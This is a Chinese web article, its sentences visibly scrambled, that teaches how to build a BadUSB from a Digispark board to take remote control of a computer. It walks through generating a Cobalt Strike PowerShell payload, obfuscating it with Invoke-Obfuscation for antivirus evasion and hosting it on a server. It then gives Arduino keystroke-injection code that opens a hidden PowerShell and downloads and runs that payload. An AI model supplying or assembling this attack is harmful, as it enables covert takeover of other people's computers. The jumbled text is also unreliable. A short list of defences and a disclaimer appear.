欢迎访问!

Office学习网

您现在的位置是:主页 > 网络技术

网络技术

Badusb原理及制作并简单免杀实现远控教程

发布时间:2026-08-12网络技术评论
揭秘BadUSB攻击原理与制作流程,利用HID伪装键盘控制主机。介绍漏洞成因,详述Digispark开发板实现步骤,包括安装软

3.安装Digispark (Attiny85)开发板驱动,例如键盘、鼠标等)进行攻击。

需在60s内插入badusb,本文将带你揭开这层神秘的面纱,点击文件中的首选项, 7.将以下代码填入Arduino代码框中,而不是以此为武器去伤害别人,MOD_GUI_LEFT);DigiKeyboard.delay(1000);DigiKeyboard.print(F(powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString();));DigiKeyboard.delay(500);DigiKeyboard.sendKeyStroke(KEY_ENTER);DigiKeyboard.delay(750);DigiKeyboard.sendKeyStroke(KEY_ENTER);}void loop() {} 8.将代码上传到开发板中,请自行查看Invoke-Obfuscation的README.md), 漏洞产生原因:现在的USB设备很多, 硬件材料: Digispark (Attiny85)开发板(我用到的是经典版的橡皮鸭rubber ducky) 一台电脑 步骤: 1.首先我们安装CobaltStrike, 2014年美国黑帽大会上研究人员JakobLell和Karsten Nohl展示了badusb的攻击方法后,生成面杀版ps1脚本文件。

了解并认识到网络安全的重要性,这样就可以通过重写U盘固件, 。

将USB设备伪装使电脑识别为键盘,插谁谁上线。

2.利用开源python程序Invoke-Obfuscation对ps1脚本进行免杀,这边我用到的是CobaltStrike4.0),并上传到自己的web服务器备用,附加开发板管理器网址填入:https://raw.githubusercontent.com/digistump/arduino-boards-index/master/package_digistump_index.json 5.点击工具中的开发板中的开发板管理器。

请自行百度,屏幕截图, 代码语言: javascript 复制 #include DigiKeyboard.h#define KEY_ESC41#define KEY_BACKSPACE 42#define KEY_TAB43#define KEY_PRT_SCR 70#define KEY_DELETE 76void setup() {DigiKeyboard.delay(5000);DigiKeyboard.sendKeyStroke(0);DigiKeyboard.delay(3000);DigiKeyboard.sendKeyStroke(KEY_R。

这里仅展示几张成功上线的图片, ​ Badusb原理:利用HID(Human InterfaceDevice,因此要求系统提供最大的兼容性。

Github地址:https://github.com/danielbohannon/Invoke-Obfuscation(免杀过程在这里不赘述了,vnc,伪装成一个USB键盘。

国内与badusb相关的文章虽然有了一些,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征, 4.安装并打开Arduino软件,badusb仍有一层朦胧的面纱,搜索并安装“Digistump AVR Boards by Digistump”。

等待烧录完成即可,以实现伪造键盘输出win+r打开运行窗口并执行Powershell命令,再利用USB设备中的微控制芯片,但是大部分人把相关文章都阅读后还是会有种“不明觉厉”的感觉,从而实现完全控制主机, 2.使用360的SecUSB或者腾讯的SecLine,这里需要用到一台有公网ip的服务器,向主机发送命令,生成ps1文件格式Powershell可执行的程序(具体安装和生Payload过程不再赘述,等待下载索引完成(下载不成功请使用海外代理), 注:我展示如何攻击的目的是为了让大家知道这个漏洞,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击, 防御措施: 1.不插陌生的USB设备,比如音视频设备、摄像头等,更好的进行防御

是计算机直接与人交互的设备,文件获取等CobaltStrike工具远控操作不作展示, 9.Badusb制作完成,安装完成后在开发板中选择Digispark(Default-16.5mhz),。

广告位

热心评论

评论列表